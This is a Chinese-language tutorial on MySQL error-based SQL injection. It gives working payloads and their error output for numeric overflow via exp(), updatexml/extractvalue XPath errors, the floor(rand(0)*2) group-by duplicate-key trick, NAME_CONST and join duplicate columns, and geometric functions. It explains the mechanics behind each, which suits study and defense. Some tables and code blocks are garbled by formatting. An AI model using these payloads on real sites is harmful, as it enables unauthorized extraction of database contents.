SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
前置知识
子查询
where型子查询:把内层查询的结果作为外层查询的比较条件(不需要别名)
SELECT goods_id,goods_name,shop_price FROM goods WHERE goods_id = (SELECT MAX(goods_id) FROM goods);
from型子查询:把内层的查询结果当成临时表,供外层sql再次查询。查询结果集可以当成表看待(临时表要使用一个别名)
mysql > SELECT goods_id,goods_name,cat_id,shop_price FROM
-> (SELECT goods_id,goods_name,cat_id,shop_price FROM goods ORDER BY cat_id ASC,goods_id DESC) AS tmp
-> GROUP BY cat_id;
派生表
派生表是从SELECT语句返回的虚拟表。派生表类似于临时表,但是在SELECT语句中使用派生表比临时表简单得多,因为它不需要创建临时表的步骤。
正片
数据溢出
Mysql中的数据类型范围:
Type | Storage | Minimum Value | Maximum Value |
---|---|---|---|
(Bytes) | (Signed/Unsigned) | (Signed/Unsigned) | |
TINYINT | 1 | -128 | 127 |
0 | 255 | ||
SMALLINT | 2 | -32768 | 32767 |
0 | 65535 | ||
MEDIUMINT | 3 | -8388608 | 8388607 |
0 | 16777215 | ||
INT | 4 | -2147483648 | 2147483647 |
0 | 4294967295 | ||
BIGINT | 8 | -9223372036854775808 | 9223372036854775807 |
0 | 18446744073709551615 |
当MySQL在数值列中存储的值超出列数据类型的允许范围时,MySQL会拒绝超出范围的值并产生错误。
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
除了直接输入大数,还可以通过按位取反运算:
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)
mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)
同理,exp函数也会产生类似的溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
注入姿势:
mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
可以看到在user()
后面还有一个x,这里就用到了前置知识中介绍的子查询以及派生表,from型子查询中,会产生一个派生表,而派生表需要一个别名,后面的x就是派生表的别名。
xpath语法错误
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
| |
+------------------------+
1 row in set (0.01 sec)
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
主键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:
mysql> select * from test;
+------+-------+
| id | name |
+------+-------+
| 0 | jack |
| 1 | jack |
| 2 | tom |
| 3 | candy |
| 4 | tommy |
| 5 | jerry |
+------+-------+
6 rows in set (0.00 sec)
我们以select count(*) from test group by name
语句说明大致过程如下:
先是建立虚拟表,其中key为主键,不可重复: | key | count(*) | | —- | —- |
开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count()字段直接加1: | key | **count()** | | —- | —- | | jack | 1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
candy | 1 |
当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2)
,看看每一步是什么情况:
先建立空表 | key | count(*) | | —- | —- |
取第一条记录,执行
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2)
,将结果1(第二次计算)插入虚表,如下: | key | count(*) | | —- | —- | | 1 | 1 |查第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count()值加1,如下: | key | **count()** | | —- | —- | | 1 | 1+1 |查第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2)
,结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。- 最终报错的结果,即主键’1’重复:
整个查询过程中,mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
floor(rand(0)*2)
被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。关于这个rand()的问题,官方文档在这里有个说明:
如果有一个序列开头时RAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.
0,1,0
或者1,0,1
,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count()加1了: ```sql mysql> select floor(rand(1)2) from test; +—————————+ | floor(rand(1)*2) | +—————————+ | 0 | | 1 | | 0 | | 0 | | 0 | | 1 | +—————————+ 6 rows in set (0.00 sec)
mysql> select count() from test group by floor(rand(1)2); +—————+ | count(*) | +—————+ | 3 | | 3 | +—————+ 2 rows in set (0.00 sec)
<a name="3fJVt"></a>
## 列名重复
mysql列名重复会报错,我们利用name_const来制造一个列:
```sql
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。
利用这个特性加上join函数可以爆列名:
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
几何函数
mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
参考
子查询:https://www.cnblogs.com/chiangchou/p/mysql-3.html 派生表:https://www.yiibai.com/mysql/derived-table.html 报错注入总结:https://xz.aliyun.com/t/253